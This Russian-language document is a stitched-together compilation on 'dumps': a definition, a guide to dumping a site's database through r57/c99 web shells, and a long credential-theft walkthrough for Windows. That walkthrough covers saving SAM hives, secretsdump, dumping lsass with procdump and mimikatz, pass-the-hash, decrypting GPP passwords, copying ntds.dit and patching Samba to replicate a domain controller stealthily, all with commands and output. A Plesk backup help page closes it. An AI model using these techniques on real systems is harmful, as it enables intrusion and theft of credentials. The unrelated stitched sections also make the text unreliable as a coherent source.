Дамп
Дамп это один из шагов при распаковке программ.
Что значить dump, дамп, сдампить, сделать дамп, снять dump?
Слово dump (дамп) может быть и существительным и глаголом. В первом случае, дамп означает — область (часть) памяти. Во втором случае, сдампить, снять дамп — значит сохранить нужную область памяти на жесткий диск. Часто дамп нужно снимать при распаковке программ. Это надо для того, чтобы получить распакованную программу. Ведь когда запакованная программа запускается, то она распаковывается в памяти. В этот момент распакованный код программы нужно сохранить на жесткий диск.
Как сдампить базу данных при наличии веб-шелла
I. Для начала нужно
отыскать конфиг с аккаунтом подключения к базе. Он может
находиться как в файлах конфигов и выглядеть примерно так:
$config[‘server’] = ‘localhost’;
$config[‘port’] = 3306;
$config[‘user’] = ‘vasa’;
$config[‘password’] = ‘pypkin’;
$config[‘db’] = ‘vasa_pypkin’;
Либо непосредственно в файле, который работает с базой, и
выглядеть, например, так:
mysql_connect(«localhost», «vasa», «pypkin»);
mysql_select_db(«vasa_pypkin»);
II. Сдампить базу можно непосредственно с
шелла (во всех популярных шеллах есть опции подключения к базе и
возможность сделать дамп), либо — залив на сайт сторонний
дампер, либо непосредственно из командной строки. Рассмотрим все
эти варианты. Вариант с шеллом самый простой и, казалось бы,
удобный. Но это не всегда так. В r57, например, очень неудобно
реализована работа с базой вообще, хотя для небольших баз,
которые нужно сдампить целиком, сгодится и он. Вот тебе
пошаговое руководство к действию (только для ознакомления,
естественно):
- В r57 снизу присутствует вкладка «Databases», в которой
есть опция Run SQL query, находим ее. - Вбиваем аккаунт на базу, ставим галку «Save dump in
file» и вводим название файла дампа (по умолчанию dump.sql) - Жмем кнопку dump.
III. Лицезреем сохраненный файл в рабочей
директории в несжатом виде.
В с99 работа с базой реализована лучше и сводится к
следующему алгоритму.
- Жмем сверху на вкладку SQL.
- Вбиваем форму подключения и жмем «connect». Слева
появляется выпадающее меню, где можно выбрать базу или даже
отдельную таблицу (или несколько таблиц), которую нужно
сдампить. Это удобно, если вся база не нужна. - После выбора таблицы появляется интуитивно понятный
диалог, в котором можно выбрать путь и название дампа, жмем
«dump» и видим несжатый файл «.sql» там, куда мы его
положили.
Все это хорошо и удобно, но существуют некоторые проблемы.
- Файлы после дампов необходимо сжимать, ибо качать
несжатые базы бывает очень сложно. - Если база большая, то через шелл ее сдампить не удастся
(он просто не справится и соединение отпадет по таймауту).
При наличии этих проблем переходим к плану «Б» — обращаемся
за помощью к альтернативным дамперам или к консольному
mysqldump. Дамперов существует великое множество, но отметить
хотелось бы 2 самых популярных — «MySQL RST/GHC Manager» и
«Sypex Dumper Lite». Думаю, с возможностями и реализации
дампинга через этот софт ты разберешься самостоятельно.
Как сдампить учетные записи в ОС Windows
Во время пентестов мы часто оказываемся внутри систем на базе ОС Windows в поисках учетных записей. Цель этой статьи – изучить некоторые техники для получения информации об учетных записях Windows-систем, при этом оставаясь незаметным, насколько это возможно.
- Безопасность – избежание любого выхода из строя системы посредством использования безопасных утилит и техник, которых сохранят систему в стабильном состоянии.
- Незаметность – избежание обнаружения утилитами и техниками, выводящими предупреждающие сообщения. Отказ от загрузки любых исполняемых файлов, отключения антивирусов и генерирования подозрительных записей в журнале событий.
- Эффективность – в этой статье будет рассказано только о самых эффективных техниках, зарекомендовавших себя на практике.
Выгрузка учетных записей с хоста на базе ОС Windows
Как только вы полностью скомпрометировали Windows-хост (то есть получили системные привилегии), ваш следующий шаг – получение информации о как можно большем числе учетных записей с этого хоста, поскольку эту информацию можно, к примеру, использовать для получения доступа ко всей сети. Кроме того, те же самые пароли могут использоваться для доступа к другим критически важным ресурсам.
Если скомпрометированный Windows-хост является частью домена, вашей целью будут привилегированные учетные записи домена или (что более предпочтительно) членство в группе администраторов домена.
Для выгрузки учетных записей с уже скомпрометированной системы можно использовать следующее приемы.
Скопируйте ветви реестра SYSTEM, SECURITY и SAM на свой локальный компьютер:
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
При помощи утилиты secretsdump извлеките из сохраненных ветвей локальные аккаунты, закешированные учетные записи домена и секретные ключи LSA:
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Impacket v0.9.11-dev — Copyright 2002-2013 Core Security Technologies
[*] Target system bootKey: 0x602e8c2947d56a95bf9cfad9e0bbbace
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
renadm:500:aad3b435b51404eeaad3b435b51404ee:3e24dcead23468ce597d6883c576f657.
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0.
support:1000:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b.
[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)
hdes:6ec74661650377df488415415bf10321:securus.corp.com:SECURUS.
Administrator:c4a850e0fee5af324a57fd2eeb8dbd24:SECURUS.CORP.COM:SECURUS.
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9ade0acbdab432f
.
- Локальные SAM-хеши
Подберите пароли к LM-хешам (если они есть) при помощи Ophcrack.
Подберите пароли к NT-хешам при помощи JtR и hashcat.
Помните, что даже если вы не сможете подобрать пароль к хешу, то можно использовать сам хеш для доступа к другим хостам и даже домену, где используется тот же самый пароль.
- Закешированные учетные записи домена
Это хеши учетных записей тех пользователей, которые уже прошли авторизацию на хосте. Пароли к этим хешам можно подобрать при помощи утилит JtR или hashcat. Не забудьте указать правильный формат: либо mscash (xp, w2k3), либо mscash2 (vista, w7, w2k8 …). Примечание: вы не можете использовать технику «pass-the-hash», используя этот вид хешей.
- Секретные ключи LSA
Здесь вы можете найти пароли учетных записей для служб, которые запускаются под существующими аккаунтами пользователей Windows (в отличие от Local System, Network Service и Local Service), пароли для автоматического входа и т. д.
Если Windows-хост является частью домена, вы найдете учетные записи домена, которые затем можно использовать для аутентификации на домене, вывода перечня пользователей и администраторов домена, просмотра общих ресурсов и т. д.
Использовать эти учетные записи можно при помощи утилиты pth, если вы работайте в Kali Linux или wce если вы работаете в Windows-системе.
$ pth-net rpc user -U ‘securus\john-pc$%aad3b435b51404eeaad3b435b51404ee:
2fb3672702973ac1b9ade0acbdab432f’ -S dc1.securus.corp.com
Administrator
hdes
.
Пароли на общих ресурсах и в контроллере домена в Group Policy Preferences (GPP) можно расшифровать:
C:\> wce.exe -s john-pc:securus:aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9ade0acbdab432f
C:\> findstr /S cpassword \\dc1.securus.corp.com\sysvol\*.xml
\\192.168.122.55\sysvol\securus.corp.com\Policies\\MACHINE\
Preferences\Groups\Groups.xml: =»» description=»» cpassword=»1MJPOM4MqvDWWJq5IY
9nJqeUHMMt6N2CUtb7B/jRFPs» changeLogon=»0″ noChange=»0″ neverExpires=»0″
acctDisabled=»1″ subAuthority=»RID_ADMIN» userName=»Administrator (built-in)»/>
C:\> ruby gppdecrypt.rb 1MJPOM4MqvDWWJq5IY9nJqeUHMMt6N2CUtb7B/jRFPs
1q2w3e4r5t
- Учетные записи, находящиеся в оперативной памяти
Выгрузить пароли из памяти в чистом виде можно при помощи утилиты mimikatz, а при помощи Windows Task Manager можно сдампить процесс LSASS.
Для выгрузки процесса lsass.exe в файл в программе Task Manager кликните правой кнопкой на процессе «lsass.exe», а затем выберите «Create Dump File» (начиная с Vista). Также можно воспользоваться утилитой Procdump (для WinXP и более ранних версий ОС) или, в качестве альтернативы, powershell-fu (см. статью carnal0wnage):
C:\> procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp 2>&1
Затем учетные записи выгружаются из дампа при помощи mimikatz и его модуля minidump.
C:\> mimikatz.exe log «sekurlsa::minidump lsass.dmp» sekurlsa::logonPasswords exit
Примечание: удостоверьтесь в том, что mimikatz используется для той же самой платформы и архитектуры, на которой вы делали дамп (см. здесь).
Другой вариант: запуск на хосте утилиты wce, однако при этом вероятнее всего сработает антивирус (если он установлен на хосте). Обратите внимание, что wce-v1.41beta, кажется, не умеет выгружать пароли из внешних SMB-сессий (их список можно получить, если выполнить команду «net use» на скомпрометированном хосте), а mimikatz выгружает.
- Диспетчер учетных записей (Credential Manager)
Когда пользователь авторизуется на общем сетевом ресурсе, прокси-сервере или в клиентском программном обеспечение выставляет флажок «Remember my password», в этом случае, как правило, пароль хранится в зашифрованном виде с использованием Windows Data Protection API. Все зашифрованные аккаунты можно увидеть в диспетчере учетных записей (доступ к нему можно получить через раздел «Учетные записи пользователей» в Панели управления). Эту информацию можно сдампить при помощи утилиты Network Password Recovery. Обратите внимание, что на 64-битной архитектуре надо запускать 64-битную версию утилиты, иначе у вас ничего не получится.
- Защищенное хранилище
При помощи утилиты Protected Storage PassView вы можете выгрузить пароли, сохраненные в IE, Outlook или MSN.
- Программное обеспечение от сторонних разработчиков
Компания NirSoft предлагает множество утилит, которые помогают извлекать пароли, используемые в стороннем программном обеспечении.
Выгрузка из контроллера домена хешей пользователей домена
- Теневое копирование тома (Volume Shadow Copy)
Суть этой техники заключается в получении базы данных (файл ntds.dit) Active Directory из Службы каталога (Directory Service), которая запущена на контроллере домена. При этом злоумышленник должен в интерактивном режиме авторизоваться на контроллере домена через Remote Desktop или «psexec». Идея заключается в том, чтобы использовать теневое копирование тома для получения файла ntds.dit, который в противном случае заблокирован и защищен от чтения.
Для начала посмотрите на состояние службы теневого копирования тома. Если служба не запущена (хотя по умолчанию это не так), используйте ntdsutil или vssadmin, как показано ниже, чтобы запустить службу. Не забудьте вернуть ее в первоначальное состояние после совершения всех манипуляций.
Затем найдите местонахождение файла ntds.dit, используя параметр «DSA Database file»:
C:\> reg.exe query hklm\system\currentcontrolset\services\ntds\parameters
После этого проверьте текущий размер файла ntds.dit и свободное место на диске. Его должно быть как минимум в два раза больше, чем размер файла. Теперь, используя встроенную командную утилиту ntdsutil, создайте снимок базы данных Active Directory.
C:\> ntdsutil
ntdsutil: snapshot
snapshot: activate instance NTDS
Active instance set to «NTDS».
snapshot: list all
No snapshots found.
// If there is a recent snapshot (ie. backups scheduled with Windows Server Backup),
then consider using that instead of creating a new one.)
snapshot: create
Creating snapshot.
Snapshot set generated successfully.
snapshot: list all
1: 2013/10/24:18:33
2: C:
snapshot: mount 2
Snapshot mounted as C:\$SNAP_201310241833_VOLUMEC$\
Теперь загрузите файл на свою машину файл ntds.dit, находящийся в C:\$SNAP_201310241833_VOLUMEC$\Windows\NTDS\. Заодно прихватите ветвь реестра SYSTEM (например, так: reg.exe save HKLM\SYSTEM c:\system.save). После этого удалите копию ветви реестра и созданный снимок.
Помимо ntdsutil вы также можете использовать встроенную утилиту vssadmin (как показано в этом howto), хотя vssadmin не создаст «единообразный» снимок, а ntdsutil лучше подходит для решения этой задачи. С другой стороны, если вы работаете с Windows 2003, то ntdsutil не сможет создать снимок, и в данном конкретном случае вам следует прибегнуть к использованию vssadmin.
Если ntds.dit поврежден, используйте встроенную утилиту esentutl для восстановления файла:
C:\> esentutl /p /o ntds.dit
Настало время выгрузить хеши паролей при помощи secretsdump:
$ secretsdump.py -system system.save -ntds ntds.dit LOCAL
Impacket v0.9.11-dev — Copyright 2002-2013 Core Security Technologies
[*] Target system bootKey: 0x24f65609994cdbec01b8b0b61cf6a332
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] Pek found and decrypted: 0xca47b3a8b3477cec0a774bed669c3d9f
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a881324bad161293dedc71817988d944.
.
Вы также можете выгрузить историю паролей, используя опцию –history (начиная с версии r961).
- Репликация Active Directory (экспериментальная техника)
Эта техника более незаметная, чем теневое копирование тома, поскольку здесь не требуется создания снимка базы данных Active Directory, запуска службы VSS, и даже интерактивного входа в контроллер домена. Использовать репликацию предпочтительнее, если у администраторов отсутствуют Se* привилегии (SeCreateTokenPrivilege, SeAssignPrimaryTokenPrivilege и т. д.), полностью отключена служба VSS и ей подобные, запрещено создание новых служб и т. д.
Суть этой техники заключается в репликации базы данных Active Directory на вашу локальную систему. Обычно, репликация происходит при добавлении в домен нового контроллера домена, хотя, с другой стороны, подобная операция довольно заметна, поскольку создаются новые объекты внутри базы данных и остаются постоянные метки даже после удаления контроллер домена. Следовательно, нам нужно такая утилита, которая выполняет только репликацию и ничего более.
Насколько мне известно, пока не существует подобных инструментов для публичного пользования, однако об этой технике рассказывал Орельен Бордес (Aurelien Bordes) в своем коротком докладе «Fiabilisation d’outils» (дословно «инструменты надежности») перед конференцией SSTIC 2010, где продемонстрировал использование своей приватной утилиты.
Вместо написания собственной утилиты с нуля, мы можем просто модифицировать Samba для наших собственных целей, поскольку там уже реализована полная процедура добавления в домен контроллера домена. Наши изменения будут заключаться в том, чтобы отключить шаги, связанные с добавлением изменений в Active Directory, чтобы оставить только функцию репликации.
Ниже показан прекрасный патч для samba-4.1.0:
— ./src/samba-4.1.0/python/samba/join.py 2013-11-17 04:08:05.393333375 +1100
+++ /usr/lib/python2.7/site-packages/samba/join.py 2013-11-17 04:29:22.209999075 +1100
@@ -1053,6 +1053,11 @@
ctx.nc_list = [ ctx.config_dn, ctx.schema_dn ]
ctx.full_nc_list = [ctx.base_dn, ctx.config_dn, ctx.schema_dn ]
+ ctx.ntds_guid = misc.GUID(ctx.samdb.schema_format_value(“objectGUID”,
‘\x84\xb9\xe6\xb1t[\xb3A\x9e\xcbkwvd2u’)) # any GUID will do
+ ctx.join_provision()
+ ctx.join_replicate()
+ return
+
if not ctx.subdomain:
После установки патча, подготовьте вашу систему для выполнения репликации:
# rm -fr /var/lib/samba; mkdir /var/lib/samba; rm -f /etc/samba/smb.conf
# echo nameserver 192.168.122.55 > /etc/resolv.conf # this is the IP address of the DC
Теперь запустите репликацию:
# samba-tool domain join securus.corp.com DC -U securus\\administrator%Bonjour1 —realm=securus.corp.com
Finding a writeable DC for domain ‘securus.corp.com’
Found DC dc1.securus.corp.com
workgroup is SECURUS
realm is securus.corp.com
Calling bare provision
More than one IPv4 address found. Using 192.168.122.25
No IPv6 address will be assigned
Provision OK for domain DN DC=securus,DC=corp,DC=com
Starting replication
Did not manage to negotiate mandetory feature SIGN for dcerpc auth_level 6
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[402] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[804] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[1206] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[1553] linked_values[0]
Analyze and apply schema objects
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[402] linked_values[0]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[804] linked_values[0]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1206] linked_values[0]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1608] linked_values[1]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1622] linked_values[11]
Replicating critical objects from the base DN of the domain
Partition[DC=securus,DC=corp,DC=com] objects[100] linked_values[24]
Partition[DC=securus,DC=corp,DC=com] objects[347] linked_values[27]
Done with always replicated NC (base, config, schema)
Committing SAM database
Joined domain SECURUS (SID S-1-5-21-427569568-2812416765-2687365192) as a DC
Затем, используйте утилиту pdbedit (она идет в комплекте с Samba), чтобы сдампить NT-хеши локально:
# pdbedit -L -w
Administrator:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:1C3383C792692C7B897A8CCF50ADE8F7:[U ]:LCT-529540CA:
hdes:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:833966FB79EE1554A3D4B900E9337FFD:[UX ]:LCT-528D7BA5:
Кажется, у Samba нет инструмента для выгрузки истории паролей или LM-хешей (если они присутствуют в контроллере домена), однако вы можете использовать простой python-скрипт samba-pwdump.py для их извлечения напрямую из базы данных LDB.
# ./samba-pwdump.py ‘/var/lib/samba/private/sam.ldb.d/DC=SECURUS,DC=CORP,DC=COM.ldb’ -history
Administrator:500:43d119e8b3d8710bc2265b23734e0dac:a881324bad161293dedc71817988d944.
jdoe:1111:b34ce522c3e4c877664345140a852f61:077cccc23f8ab7031726a3b70c694a49.
jdoe_history0:1111:c23413a8a1e7665fccf9155e3e7db453:316c5ae8a7b5dfce4a5604d17d9e976e.
Чтобы выяснить различия до и после репликации, я сравнил LDIF-экспорты из Root DSE и основные DN’ы (Distinguished name) в Active Directory.
#!/bin/bash
# dump Root DSE
ldapsearch -h 192.168.122.55 -x -D ‘SECURUS\Administrator’ -w Bonjour1 -b «» -s base ‘objectclass=*’
# dump base DNs
contexts=(‘DC=securus,DC=corp,DC=com’ ‘CN=Configuration,DC=securus,DC=corp
,DC=com’ ‘CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com’ ‘DC=DomainDnsZones,
DC=securus,DC=corp,DC=com’ ‘DC=ForestDnsZones,DC=securus,DC=corp,DC=com’)
for ctx in «$»; do
ldapsearch -h 192.168.122.55 -x -D ‘SECURUS\Administrator’ -w Bonjour1 -b «$ctx» -s sub ‘objectclass=*’
done
Единственные отличия – атрибуты logonCount и lastLogon учетной записи администратора домена, которые были увеличены и, соответственно, атрибут highestCommitedUSN в Root DSE также был увеличен. Однако во время репликации сгенерировались события «Directory Service Access» (event ID 4672) в журнале безопасности Windows (Windows Security log) из-за того, что был получен привилегированный доступ к Active Directory. Другие события также могут отобразиться, если доступны некоторые другие категории (4932, 4928 …). Кроме того, во время репликации не были добавлены никакие изменения в реестр.
Пожалуйста, помните о том, что эта техника экспериментальная. Тесты проводились в контроллере домена на базе Windows 2008 R2 SP1 со стороны хоста с Archlinux и пакетом samba-4.1.0-1 с установленным патчем, о котором говорилось выше.
Спасибо за внимание!
Большой брат следит за вами, но мы знаем, как остановить его. Подпишитесь на наш канал!
Экспортирование и импортирование дампов баз данных
Дамп базы данных – это файл, содержащий структуру и контент базы данных. Его можно использовать для целей резервного копирования. В более ранних версиях Plesk дампы можно было создавать только с помощью инструментов управления базами данных. Теперь в Plesk есть более быстрый способ создавать дампы баз данных, хранить их и разворачивать ранее созданные дампы на сервере.
В Plesk экспортировать дамп базы данных означает сохранить исходную базу данных в виде файла, который затем можно будет хранить или распространять. Импортировать дамп базы данных означает восстановить данные из такого файла в конечную базу данных. Импорт можно выполнять как на текущий, так и на другой сервер баз данных. Единственное ограничение состоит в том, что исходная и конечная базы данных должны быть одного типа, например, MySQL.
В Plesk дампы баз данных создаются в формате SQL и хранятся в виде ZIP-архивов. Если вам нужно создать дамп в другом формате или с индивидуальными настройками, используйте собственную функциональность инструментов управления базами данных (phpMyAdmin или phpPgAdmin). Инструкции по импорту и экспорту данных с помощью инструментов управления базами данных смотрите в справке к этим инструментам.
Чтобы сохранить копию базы данных:
- Перейдите на страницу Сайты и домены >Базы данных >Экспортировать дамп в окне инструментов управления базой данных.
- Сохранить дамп:
- Чтобы сохранить дамп в определенной папке на сервере, выберите папку. По умолчанию используется домашняя папка вашей подписки.
- Чтобы сохранить дамп и на сервере, и на вашем локальном компьютере, выберите Автоматически скачать резервную копию после создания.
Чтобы развернуть копию базы данных в Plesk:
- Перейдите на страницу Сайты и домены >Базы данных >Импортировать дамп в окне инструментов управления базой данных.
- Выберите дамп для развертывания:
- Чтобы развернуть дамп с вашего локального компьютера, выберите Загрузить и нажмите Просмотр. Затем выберите ZIP-архив с файлом дампа.
- Чтобы развернуть дамп из папки на сервере, выберите Импортировать и выберите файл дампа.
- Чтобы развернуть дамп во вновь созданной базе данных, выберите Заново создать базу данных. Старая база данных будет удалена, а новая с таким же именем – создана.
Примечание: По умолчанию кнопки Импортировать дамп и Экспортировать дамп не отображаются для баз данных, размещенных на удаленном сервере Microsoft SQL Server. Чтобы экспортировать или импортировать резервные копии таких баз данных, сначала задайте настройки резервного копирования для удаленного сервера Microsoft SQL Server.